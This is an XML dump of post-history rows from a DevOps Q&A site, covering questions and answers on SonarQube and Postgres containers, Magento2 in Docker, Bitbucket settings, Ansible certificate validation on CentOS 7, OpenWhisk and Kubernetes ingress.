  <row Id="8268" PostHistoryTypeId="5" PostId="2643" RevisionGUID="40812035-aa27-453c-b79b-6bcbe246677f" CreationDate="2017-11-24T15:53:16.663" UserId="47" Comment="improved formatting" Text="I am running an init.sh script in order to create mapped directories for Sonar and Postgres.&#xD;&#xA;&#xD;&#xA;Both of the containers build fine and are able to be started, but for some reason, our Sonar container is in a constant restart loop after about 8-16 seconds. &#xD;&#xA;&#xD;&#xA;In the logs we noticed that there was a missing plugin error for `&quot;findbugs&quot;`, although the compability matrix states that `findbugs` works with Sonar 6.7.&#xD;&#xA;&#xD;&#xA;            2017.11.23 17:16:21 WARN  web[o.a.c.l.WebappClassLoaderBase] The web application [ROOT] appears to have started a thread named [Timer-0] but has failed to stop it. This is very likely to create a memory leak. Stack trace of thread:&#xD;&#xA;         java.lang.Object.wait(Native Method)&#xD;&#xA;         java.util.TimerThread.mainLoop(Timer.java:552)&#xD;&#xA;         java.util.TimerThread.run(Timer.java:505)&#xD;&#xA;    &#xD;&#xA;This seems to be a popular error when I do a `sudo docker logs sonar_container`&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;Restarting: &#xD;&#xA;&#xD;&#xA;    VirtualBox:~/Sonar/docker-sonar-scpvm014$ sudo docker ps&#xD;&#xA;    CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                                            NAMES&#xD;&#xA;    fa4b1c86433d        sonarqube:lts       &quot;./bin/run.sh&quot;           16 seconds ago      Up 5 seconds        0.0.0.0:9092-&gt;9092/tcp, 0.0.0.0:8060-&gt;9000/tcp   sonar_container&#xD;&#xA;    87db675ef2dd        postgres:9.5        &quot;docker-entrypoint...&quot;   18 hours ago        Up 11 minutes       0.0.0.0:5432-&gt;5432/tcp                           pgsql_container&#xD;&#xA;    :~/Sonar/docker-sonar-scpvm014$ sudo docker ps&#xD;&#xA;    CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                                            NAMES&#xD;&#xA;    fa4b1c86433d        sonarqube:lts       &quot;./bin/run.sh&quot;           19 seconds ago      Up 9 seconds        0.0.0.0:9092-&gt;9092/tcp, 0.0.0.0:8060-&gt;9000/tcp   sonar_container&#xD;&#xA;    87db675ef2dd        postgres:9.5        &quot;docker-entrypoint...&quot;   18 hours ago        Up 11 minutes       0.0.0.0:5432-&gt;5432/tcp                           pgsql_container&#xD;&#xA;    ~/Sonar/docker-sonar-scpvm014$ sudo docker ps&#xD;&#xA;    CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                                            NAMES&#xD;&#xA;    fa4b1c86433d        sonarqube:lts       &quot;./bin/run.sh&quot;           23 seconds ago      Up 12 seconds       0.0.0.0:9092-&gt;9092/tcp, 0.0.0.0:8060-&gt;9000/tcp   sonar_container&#xD;&#xA;    87db675ef2dd        postgres:9.5        &quot;docker-entrypoint...&quot;   18 hours ago        Up 11 minutes       0.0.0.0:5432-&gt;5432/tcp                           pgsql_container&#xD;&#xA;    ~/Sonar/docker-sonar-scpvm014$ sudo docker ps&#xD;&#xA;    CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS                        PORTS                    NAMES&#xD;&#xA;    fa4b1c86433d        sonarqube:lts       &quot;./bin/run.sh&quot;           25 seconds ago      Restarting (0) 1 second ago  &#xD;&#xA;&#xD;&#xA;Does anyone have any experience with fixing this issue?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8275" PostHistoryTypeId="2" PostId="2648" RevisionGUID="5db8dc08-bf31-4f56-8ff4-cab8928ac4ee" CreationDate="2017-11-24T16:39:46.347" UserId="1056" Text="This is what I have accomplished up to now. Written a docker file where I have done the following and for now I have not used the docker compose.&#xD;&#xA;&#xD;&#xA; 1. Used alpine as base Os&#xD;&#xA; 2. setup nginx&#xD;&#xA; 3. setup php-fpm&#xD;&#xA; 4. Installed magento2 file &#xD;&#xA;&#xD;&#xA;So my docker build is ready and the container is ready and can see the setup page when opening it on the browser.&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;**My problem**&#xD;&#xA;How do I automate  this Magento2 installation process from **dockerfile**. Like setting up database and the other installation process. Thanks&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/MFLHY.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="8276" PostHistoryTypeId="1" PostId="2648" RevisionGUID="5db8dc08-bf31-4f56-8ff4-cab8928ac4ee" CreationDate="2017-11-24T16:39:46.347" UserId="1056" Text="How to automate the magento2 installation process too via docker" ContentLicense="CC BY-SA 3.0" />
  <row Id="8277" PostHistoryTypeId="3" PostId="2648" RevisionGUID="5db8dc08-bf31-4f56-8ff4-cab8928ac4ee" CreationDate="2017-11-24T16:39:46.347" UserId="1056" Text="&lt;docker&gt;&lt;dockerfile&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8281" PostHistoryTypeId="5" PostId="1029" RevisionGUID="859e1488-afcc-462c-a1b2-7b37aa7ddffe" CreationDate="2017-11-24T18:13:35.033" UserId="47" Comment="added 773 characters in body" Text="From Wikipedia:&#xD;&#xA;&#xD;&#xA;&gt; **ITIL**, formally an acronym for **Information Technology Infrastructure Library**, is a set of detailed practices for [IT&#xD;&#xA;&gt; service management][1] (ITSM) that focuses on aligning IT services&#xD;&#xA;&gt; with the needs of business. [...]&#xD;&#xA;&gt; &#xD;&#xA;&gt; ITIL describes processes, procedures, tasks, and checklists which are&#xD;&#xA;&gt; not organization-specific, but can be applied by an organization for&#xD;&#xA;&gt; establishing integration with the organization's strategy, delivering&#xD;&#xA;&gt; value, and maintaining a minimum level of competency. It allows the&#xD;&#xA;&gt; organization to establish a baseline from which it can plan,&#xD;&#xA;&gt; implement, and measure. It is used to demonstrate compliance and to&#xD;&#xA;&gt; measure improvement. [...]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/IT_service_management" ContentLicense="CC BY-SA 3.0" />
  <row Id="8282" PostHistoryTypeId="24" PostId="1029" RevisionGUID="859e1488-afcc-462c-a1b2-7b37aa7ddffe" CreationDate="2017-11-24T18:13:35.033" Comment="Proposed by 47 approved by 707, 40 edit id of 541" ContentLicense="CC BY-SA 3.0" />
  <row Id="8285" PostHistoryTypeId="2" PostId="2649" RevisionGUID="87277ff0-9ada-478d-bc4a-10a3c2fce364" CreationDate="2017-11-24T19:42:15.707" UserId="210" Text="By default a branch will remain in Bitbucket when a Pull Request (PR) has been merged. How to ensure that a branch will be removed after a PR has been removed?&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/BGwNl.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="8286" PostHistoryTypeId="1" PostId="2649" RevisionGUID="87277ff0-9ada-478d-bc4a-10a3c2fce364" CreationDate="2017-11-24T19:42:15.707" UserId="210" Text="How to close a branch by default after a pull request has been merged in Bitbucket?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8287" PostHistoryTypeId="3" PostId="2649" RevisionGUID="87277ff0-9ada-478d-bc4a-10a3c2fce364" CreationDate="2017-11-24T19:42:15.707" UserId="210" Text="&lt;bitbucket&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8288" PostHistoryTypeId="2" PostId="2650" RevisionGUID="304910ba-1a53-43d8-96ca-c5c1c4f6f84c" CreationDate="2017-11-24T19:46:58.750" UserId="210" Text="It is possible to configure settings per repository in Bitbucket. Would it be possible to configure settings globally? There are more than 30 repositories at the moment and I would like to avoid that I have to configure the same settings per repository." ContentLicense="CC BY-SA 3.0" />
  <row Id="8289" PostHistoryTypeId="1" PostId="2650" RevisionGUID="304910ba-1a53-43d8-96ca-c5c1c4f6f84c" CreationDate="2017-11-24T19:46:58.750" UserId="210" Text="Is is possible to configure settings in Bitbucket globally?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8290" PostHistoryTypeId="3" PostId="2650" RevisionGUID="304910ba-1a53-43d8-96ca-c5c1c4f6f84c" CreationDate="2017-11-24T19:46:58.750" UserId="210" Text="&lt;bitbucket&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8291" PostHistoryTypeId="2" PostId="2651" RevisionGUID="3152fdcb-6aaf-4cdf-8ad8-20f8f197bb0f" CreationDate="2017-11-24T19:52:23.303" UserId="47" Text="Apparently selecting the `Close branch` option in the very dialogue illustrated in your question will actually delete the branch as well. From &#xD;&#xA;[Why only &quot;Close&quot; a branch instead of &quot;Delete&quot; it?][1]:&#xD;&#xA;&#xD;&#xA;&gt;  Ben Tatham Jun 15, 2014&#xD;&#xA;&gt; &#xD;&#xA;&gt; It seems that I was mistaken. Marking a pull request to *Close branch&#xD;&#xA;&gt; when merged*, does indeed Delete it. I'm not sure why they use&#xD;&#xA;&gt; different language for that though.&#xD;&#xA;&#xD;&#xA;  [1]: https://community.atlassian.com/t5/Bitbucket-questions/Why-only-quot-Close-quot-a-branch-instead-of-quot-Delete-quot-it/qaq-p/417416" ContentLicense="CC BY-SA 3.0" />
  <row Id="8292" PostHistoryTypeId="5" PostId="2649" RevisionGUID="752e666c-39ee-4785-bc14-8f2931cc3ed2" CreationDate="2017-11-24T19:55:45.743" UserId="210" Comment="added 228 characters in body" Text="By default a branch will remain in Bitbucket when a Pull Request (PR) has been merged. How to ensure that a branch will be removed after a PR has been removed?&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;When the option is enabled then the branch will be removed after the merge of a PR, but how to ensure that it is clicked by default to prevent that creators of the PR forget to click it and the branch remains in bitbucket?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/BGwNl.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="8293" PostHistoryTypeId="2" PostId="2652" RevisionGUID="2658532f-3065-4af4-a5b6-82643f610fe7" CreationDate="2017-11-24T20:26:10.173" UserId="707" Text="CI/CD environment is the production carrier for DevOps teams.&#xD;&#xA;&#xD;&#xA;An error here is a show stopper for possibly many teams.&#xD;&#xA;&#xD;&#xA;Additionally, it is a product offered to teams which needs maintenance (quartely new features sometimes and security patches anyway) and room for experiment (new metrics plugins for example).&#xD;&#xA;&#xD;&#xA;How to allow this? The only argument against a sandbox I can imagine is its cost. But then, isn't a transition to IaC, aka Pipelines as Code providing a &quot;serverless&quot; CI/CD like in Gitlab or Travis, not the next step?&#xD;&#xA;Otherwise, CI/CD is the new &quot;pet&quot; system?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8294" PostHistoryTypeId="1" PostId="2652" RevisionGUID="2658532f-3065-4af4-a5b6-82643f610fe7" CreationDate="2017-11-24T20:26:10.173" UserId="707" Text="Founded argument to have no sandbox CI/CD?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8295" PostHistoryTypeId="3" PostId="2652" RevisionGUID="2658532f-3065-4af4-a5b6-82643f610fe7" CreationDate="2017-11-24T20:26:10.173" UserId="707" Text="&lt;continuous-integration&gt;&lt;continuous-delivery&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8296" PostHistoryTypeId="2" PostId="2653" RevisionGUID="f09fdf3d-92d3-4e0a-b06c-49202ff65eff" CreationDate="2017-11-24T20:36:47.180" UserId="5035" Text="I'll seriously recommend you [katacoda.com](https://www.katacoda.com/) to explore almost any advanced topic on Docker that you're interested in. The topics aren't limited to docker, they cover almost any cloud technology.&#xD;&#xA;They are interactive and some are really advanced, so you can try a topic, get a feeling and if you liked it, go deep on it.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8300" PostHistoryTypeId="5" PostId="1541" RevisionGUID="6e413073-1c03-48d3-804c-7b8afba50607" CreationDate="2017-11-24T22:58:11.717" UserId="210" Comment="edited body" Text="While trying to get a clear picture how to setup a seamless CasC (Configuration as Code) build and deployment plan management, I have to admit that I get quite puzzled.&#xD;&#xA;&#xD;&#xA;Is the following (subjective) *ideal scenario* possible?&#xD;&#xA;&#xD;&#xA; - Users can manage their plans as code or via UI as YAML&#xD;&#xA; - Plan changes in UI result in a commit to the CasC code base (YAML as well)&#xD;&#xA;&#xD;&#xA;In the meantime, my impressions are that just pieces of that are possible but no integraton setup yet:&#xD;&#xA;&#xD;&#xA; 1. Admins can manually export (and import?) plan configurations as YAML via UI&#xD;&#xA; 2. Bamboo Specs allow Java language coding of plans. &#xD;&#xA;&#xD;&#xA;Looks like #1 is too limited (possibly usage of REST API could change that? But still you'd need admin rights) and #2 will be overdesigned for most cases.&#xD;&#xA;&#xD;&#xA;Anybody has a solution for the (subjective) *ideal scenario*?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8301" PostHistoryTypeId="2" PostId="2655" RevisionGUID="bf410c18-4ef2-4dc9-947d-1d574e133b43" CreationDate="2017-11-24T23:05:20.727" UserId="210" Text="[This slide share][1] gives an idea how to handle CasC in Bamboo.&#xD;&#xA;&#xD;&#xA;The presenter advocates to use yaml, but according to him there are also downsides.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.slideshare.net/GoAtlassian/configuration-as-code-in-bamboo" ContentLicense="CC BY-SA 3.0" />
  <row Id="8303" PostHistoryTypeId="2" PostId="2656" RevisionGUID="9f953225-74b0-4c8a-8ea2-951c5e46c0ec" CreationDate="2017-11-25T02:21:25.107" UserId="5374" Text="I'm pretty new to Ansible, but it seemed a better tool than a bash script for installing programs from source on remote servers...&#xD;&#xA;&#xD;&#xA;Starting from my working-but-fragile bash script, I made an Ansible script to git clone, configure and compile what I need. However some of these sources are large, so I wanted to include the `--depth 1` parameter. This is a problem because the CentOS 7 version of git is 1.8.3 and Ansible ignores the depth command if it can't use at least git 1.9.1. Obviously for non-system use, I wouldn't mind having the latest git 2.15 anyway so...&#xD;&#xA;&#xD;&#xA;To make a newer version of git available than is on yum's base/extras/updates repos, I found the [IUS repository][1] which has a &quot;safe replacement&quot; package for a few things including git. Helpfully there's an Ansible task set to install their repo. Here's the relevant task:&#xD;&#xA;&#xD;&#xA;    - name: install IUS release package&#xD;&#xA;       yum:&#xD;&#xA;           name: &quot;https://{{ ius_distribution_abbrev }}{{ ansible_distribution_major_version }}.iuscommunity.org/ius-release.rpm&quot;&#xD;&#xA;           state: present&#xD;&#xA;       when: ansible_os_family == 'RedHat'&#xD;&#xA;&#xD;&#xA;Ansible however fails this task:&#xD;&#xA; &#xD;&#xA;    fatal: [MY_REMOTE_IP_ADDRESS]: FAILED! =&gt; {&quot;changed&quot;: false, &quot;failed&quot;: true,&#xD;&#xA;    &quot;msg&quot;: &quot;Failed to validate the SSL certificate for centos7.iuscommunity.org:443. &#xD;&#xA;    Make sure your managed systems have a valid CA certificate installed. &#xD;&#xA;    You can use validate_certs=False if you do not need to confirm the servers&#xD;&#xA;    identity but this is unsafe and not recommended. Paths checked for this &#xD;&#xA;    platform: /etc/ssl/certs, /etc/pki/ca-trust/extracted/pem, &#xD;&#xA;    /etc/pki/tls/certs, /usr/share/ca-certificates/cacert.org, /etc/ansible. &#xD;&#xA;    The exception msg was: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:579).&quot;}&#xD;&#xA;&#xD;&#xA;Both yum's ca-certificates and python-urllib3 packages are installed and on the latest version from the yum repos. &#xD;&#xA;&#xD;&#xA;Per [this comment on github][2], it seems that Ansible can't handle SNI to get the right SSL certificate without python 2.7.9+. But CentOS 7 ships with python 2.7.5. You can't upgrade it because get_url has the same issue with SSL and so you would have to download the python source with `validate_certs=no`.&#xD;&#xA;&#xD;&#xA;Worse, even when I did that, used `make altinstall` to put python 2.7.14 in `/usr/local/bin/` without touching the OS python and then set `ansible_python_interpreter: /usr/local/bin/python2.7`, (at least allowing get_url to work) I'm then locked out of yum for the duration of the playbook because yum can't handle the newer version of python Ansible is trying to run it with.&#xD;&#xA;&#xD;&#xA;- Is there a way to make this all work together properly without removing a security feature? &#xD;&#xA;- Is Ansible the wrong tool for CentOS 7 because of the python version and yum?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://ius.io/&#xD;&#xA;  [2]: https://github.com/ansible/ansible/issues/12161#issuecomment-136949743" ContentLicense="CC BY-SA 3.0" />
  <row Id="8304" PostHistoryTypeId="1" PostId="2656" RevisionGUID="9f953225-74b0-4c8a-8ea2-951c5e46c0ec" CreationDate="2017-11-25T02:21:25.107" UserId="5374" Text="Validating certificates with get_url or yum on CentOS 7 using Ansible" ContentLicense="CC BY-SA 3.0" />
  <row Id="8305" PostHistoryTypeId="3" PostId="2656" RevisionGUID="9f953225-74b0-4c8a-8ea2-951c5e46c0ec" CreationDate="2017-11-25T02:21:25.107" UserId="5374" Text="&lt;ansible&gt;&lt;linux&gt;&lt;ssl&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8307" PostHistoryTypeId="2" PostId="2657" RevisionGUID="c116b0b0-c0a4-4f41-bb47-4c07be6a7a2e" CreationDate="2017-11-25T08:28:33.747" UserId="47" Text="A CI/CD system is, after all, just another software product/system. Regular upgrades and at least some changes in the plugin installations could be treated as changes of the software product itself. &#xD;&#xA;&#xD;&#xA;I see no founded reason for which such software product can't also use as part of its own development process a CI/CD solution. *Maybe* even itself - the most recent production version, for example - if it's flexible enough (I'm still investigating such possibility for the CI system I'm working on).&#xD;&#xA;&#xD;&#xA;Now, a CI/CD system deployed/actively used in a certain software development project is effectively a software product deployed in a specific environment. &#xD;&#xA;&#xD;&#xA;Changes to the configurations of the CI/CD system aren't actually software changes, they're changes of the environment in which the software system is deployed. These are trickier to address in a CI/CD pipeline. Some even impossible. You'd have to replicate the environment as close as possible. But it's unlikely you'll be able to do that at 100% - just like no dev/QA/etc environment is *exactly* as the production one.&#xD;&#xA;&#xD;&#xA;Some environment changes could be tested in a CI/CD pipeline. For example changes to a test script: both the old and the new versions can be executed as parallel pipeline jobs with the same set of artifacts for a period of time, long enough to determine the test quality and stability before making the new version the official one and retiring the old one.&#xD;&#xA;&#xD;&#xA;Finally, don't forget that *most* CI systems are reactive: they *detect* breakages, but human action is required to identify the culprit and/or make repairs before the development process can be resumed. Applying such CI system to an actively used CI/CD system one would allow the show-stopper problems you mention. Only a [non-blocking][1] CI system can completely *prevent* them (**disclaimer**: I'm the founder of the company owning the referenced page and offering such system).&#xD;&#xA;&#xD;&#xA;  [1]: https://www.apartsw.com/insights/2016/11/25/traditional_vs_non_blocking_ci.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="8308" PostHistoryTypeId="2" PostId="2658" RevisionGUID="9333fc0c-9e92-4729-a2b1-122d6e3bd8f2" CreationDate="2017-11-25T10:27:10.720" UserId="707" Text="In his book, &quot;Reinventing organizations&quot;, Frederic Laloux describes a historical evolution of organizational setups and their values.&#xD;&#xA;&#xD;&#xA;Is there a non-opiniated argument which values does DevOps culture supports from this perspective in terms of &quot;best match&quot;?&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/x4tN9.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="8309" PostHistoryTypeId="1" PostId="2658" RevisionGUID="9333fc0c-9e92-4729-a2b1-122d6e3bd8f2" CreationDate="2017-11-25T10:27:10.720" UserId="707" Text="Can be DevOps culture mapped to a specific type of organization as described by Laloux?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8310" PostHistoryTypeId="3" PostId="2658" RevisionGUID="9333fc0c-9e92-4729-a2b1-122d6e3bd8f2" CreationDate="2017-11-25T10:27:10.720" UserId="707" Text="&lt;culture&gt;&lt;methodology&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8312" PostHistoryTypeId="50" PostId="2152" RevisionGUID="db3bcd65-1e95-45e4-992c-ba1d89033773" CreationDate="2017-11-26T00:16:04.887" UserId="-1" />
  <row Id="8313" PostHistoryTypeId="2" PostId="2659" RevisionGUID="0f669de4-905a-4399-947c-8eb6c9fc2599" CreationDate="2017-11-26T10:36:19.757" UserId="4007" Text="Many orm's store migration state in the DB itself, but if you do it 'manually' its not hard to build yourself either. Just have a &quot;migrationstate&quot; table where all executed migrations are stored. That way when a node comes online it can simply check that table against its local &quot;migrations&quot; folder, and execute what's missing - this should cause only your first node after a version bump to execute the migrations.&#xD;&#xA;&#xD;&#xA;As a side note: CloudFoundry solves this by allowing each instance (node) in your scale set to access its identifier. The first one gets 0, the next 1 etc. That way a node knows if its the first one, and can execute migrations. I don't think ASGs have the same.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8314" PostHistoryTypeId="2" PostId="2660" RevisionGUID="275f1746-ac39-4f49-af02-fede2d2c619b" CreationDate="2017-11-26T10:43:20.733" UserId="4007" Text="Ingress controllers allow you to not manually wire stuff up, that's the whole point.&#xD;&#xA;&#xD;&#xA;If you'd rather do it manually You could have an nginx array (either inside Kubernetes our outside of it) and just point to the ip/port of the services that expose your microservices. If you use an nginx array external to Kubernetes you'd have to use the externalIP service type. If you run the Nginx array on Kubernetes you could store your &quot;manual proxy config&quot; in a configmap so that all your nginx proxies get the same config.&#xD;&#xA;&#xD;&#xA;I would definetely advise to not do this tho. Ingress controllers are built to simplify traffic routing, and as your complexity grows you will definetely want to take advantage of them. A good labeling scheme is absolutely paramount in Kubernetes, and that goes for ingresses aswell. " ContentLicense="CC BY-SA 3.0" />
  <row Id="8315" PostHistoryTypeId="2" PostId="2661" RevisionGUID="a34794df-b1e2-4503-abb7-e96459d03f91" CreationDate="2017-11-26T10:47:53.783" UserId="4007" Text="I've found Ansible 2.3.2 to be the most stable, tho I haven't spent much time with 2.4.1 yet. 2.4.0 definetely has some stability issues when it comes to winrm." ContentLicense="CC BY-SA 3.0" />
  <row Id="8316" PostHistoryTypeId="2" PostId="2662" RevisionGUID="9a5e592c-b403-4ef8-95ba-ff409a33d72a" CreationDate="2017-11-26T11:11:17.577" UserId="210" Text="As it is unclear what command and subcommands you used to run the docker container it could be possible that you run the container without using the `-p` subcommand. In this case `docker run -p 5000:5000 &lt;image_name&gt;` could solve the issue." ContentLicense="CC BY-SA 3.0" />
  <row Id="8318" PostHistoryTypeId="2" PostId="2663" RevisionGUID="a8d88e87-a066-4803-ad27-cc8ec74caaf2" CreationDate="2017-11-26T11:24:52.967" UserId="210" Text="I would recommend to create an issue about CD in the ticket system of salesforce. I have googled a little bit and this seems to be [their issue tracker][1].&#xD;&#xA;&#xD;&#xA;I would prevent to implement CD in salesforce as that will be very cumbersome and will take a lot of time. In my opinion this issue should be solved by SalesForce itself.&#xD;&#xA;&#xD;&#xA;  [1]: https://success.salesforce.com/issues_index" ContentLicense="CC BY-SA 3.0" />
  <row Id="8319" PostHistoryTypeId="2" PostId="2664" RevisionGUID="c9e9744a-ea7f-47fb-8a31-6a39457f35a0" CreationDate="2017-11-26T11:29:58.667" UserId="210" Text="As @Tensibai already indicated in one of the comments, some packages are missing:&#xD;&#xA;&#xD;&#xA;    Use 'zypper addrepo' or 'zypper modifyrepo' commands to add or enable repositories.&#xD;&#xA;&#xD;&#xA;Either use `zypper addrepo` or `zypper modifyrepo` in your dockerfile to solve the issue." ContentLicense="CC BY-SA 3.0" />
  <row Id="8322" PostHistoryTypeId="2" PostId="2666" RevisionGUID="aaab9bc7-253c-4cd3-9df5-d2d912ef5dab" CreationDate="2017-11-26T11:44:56.767" UserId="210" Text="There is [another manual][1] for enabling reverse lookup DNS in azure.&#xD;&#xA;&#xD;&#xA;&gt; **Will my reverse DNS records resolve from the internet?**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Yes. Once you set the reverse DNS property for your Azure service,&#xD;&#xA;&gt; Azure manages all the DNS delegations and DNS zones required to ensure&#xD;&#xA;&gt; that reverse DNS record resolves for all Internet users. &#xD;&#xA;&#xD;&#xA;&gt; **Are default reverse DNS records created for my Azure services?**&#xD;&#xA;&gt; &#xD;&#xA;&gt; No. Reverse DNS is an opt-in feature. No default reverse DNS records&#xD;&#xA;&gt; are created if you choose not to configure them.&#xD;&#xA;&#xD;&#xA;It seems that reverse dns has to be enabled if it is used internally.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/dns/dns-reverse-dns-for-azure-services" ContentLicense="CC BY-SA 3.0" />
  <row Id="8323" PostHistoryTypeId="6" PostId="1533" RevisionGUID="24b89adf-2de7-4a57-87f4-8510230a4fc6" CreationDate="2017-11-26T11:45:56.357" UserId="210" Comment="edited tags" Text="&lt;azure&gt;&lt;dns&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8327" PostHistoryTypeId="5" PostId="1734" RevisionGUID="ac912c45-16db-44fe-8435-25ba5cfbf9a3" CreationDate="2017-11-26T12:02:45.650" UserId="210" Comment="deleted 6 characters in body" Text="On IBM bluemix platform it is possible to write cloud functions using OpenWhisk, but what is OpenWhisk and how to setup a cluster using this technology?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8328" PostHistoryTypeId="4" PostId="1734" RevisionGUID="ac912c45-16db-44fe-8435-25ba5cfbf9a3" CreationDate="2017-11-26T12:02:45.650" UserId="210" Comment="deleted 6 characters in body" Text="What is OpenWhisk and how to setup a cluster using this technology?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8329" PostHistoryTypeId="6" PostId="1734" RevisionGUID="ac912c45-16db-44fe-8435-25ba5cfbf9a3" CreationDate="2017-11-26T12:02:45.650" UserId="210" Comment="deleted 6 characters in body" Text="&lt;ibm-cloud&gt;&lt;openwhisk&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8330" PostHistoryTypeId="2" PostId="2668" RevisionGUID="1f499243-50f7-403a-8401-4063b2d2ccb9" CreationDate="2017-11-26T12:08:37.920" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="8331" PostHistoryTypeId="1" PostId="2668" RevisionGUID="1f499243-50f7-403a-8401-4063b2d2ccb9" CreationDate="2017-11-26T12:08:37.920" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8332" PostHistoryTypeId="2" PostId="2669" RevisionGUID="5c15fcb7-8c80-450a-ad25-c28633c312f9" CreationDate="2017-11-26T12:08:37.920" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="8333" PostHistoryTypeId="1" PostId="2669" RevisionGUID="5c15fcb7-8c80-450a-ad25-c28633c312f9" CreationDate="2017-11-26T12:08:37.920" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8334" PostHistoryTypeId="6" PostId="1734" RevisionGUID="fc19db72-18ba-4253-85bd-383c1c7803da" CreationDate="2017-11-26T12:09:20.807" UserId="210" Comment="edited tags" Text="&lt;serverless&gt;&lt;ibm-cloud&gt;&lt;openwhisk&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8335" PostHistoryTypeId="2" PostId="2670" RevisionGUID="ef746a2b-49da-4be0-9c27-b2952587627d" CreationDate="2017-11-26T12:13:01.103" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="8336" PostHistoryTypeId="1" PostId="2670" RevisionGUID="ef746a2b-49da-4be0-9c27-b2952587627d" CreationDate="2017-11-26T12:13:01.103" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8337" PostHistoryTypeId="2" PostId="2671" RevisionGUID="753f0abb-6110-4836-a8ee-87528f7f4c98" CreationDate="2017-11-26T12:13:01.103" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="8338" PostHistoryTypeId="1" PostId="2671" RevisionGUID="753f0abb-6110-4836-a8ee-87528f7f4c98" CreationDate="2017-11-26T12:13:01.103" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8339" PostHistoryTypeId="2" PostId="2672" RevisionGUID="a507517b-8f3b-4ea9-867a-fd0ed5620b07" CreationDate="2017-11-26T12:17:51.843" UserId="210" Text="According to [this GitHub readme][1] &#xD;&#xA;&#xD;&#xA;&gt; OpenWhisk is a serverless event-based programming service.&#xD;&#xA;&#xD;&#xA;In order to get an idea how to setup this tool on a cluster one could run the following code that is defined in the readme:&#xD;&#xA;&#xD;&#xA;&gt;     # Clone openwhisk&#xD;&#xA;&gt;     git clone --depth=1 https://github.com/apache/incubator-openwhisk.git openwhisk&#xD;&#xA;&gt;     &#xD;&#xA;&gt;     # Change directory to tools/vagrant&#xD;&#xA;&gt;     cd openwhisk/tools/vagrant&#xD;&#xA;&gt;     &#xD;&#xA;&gt;     # Run script to create vm and run hello action&#xD;&#xA;&gt;     ./hello&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/apache/incubator-openwhisk" ContentLicense="CC BY-SA 3.0" />
  <row Id="8340" PostHistoryTypeId="6" PostId="1779" RevisionGUID="98379e8f-1e53-47a5-9b74-99b4204728fe" CreationDate="2017-11-26T12:23:10.457" UserId="210" Comment="edited tags" Text="&lt;kubernetes&gt;&lt;high-availability&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8341" PostHistoryTypeId="2" PostId="2673" RevisionGUID="15b9441d-e17c-4b4c-8156-b0860a2f57ec" CreationDate="2017-11-26T12:24:31.427" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="8342" PostHistoryTypeId="1" PostId="2673" RevisionGUID="15b9441d-e17c-4b4c-8156-b0860a2f57ec" CreationDate="2017-11-26T12:24:31.427" UserId="-1" ContentLicense="CC BY-SA 3.0" />
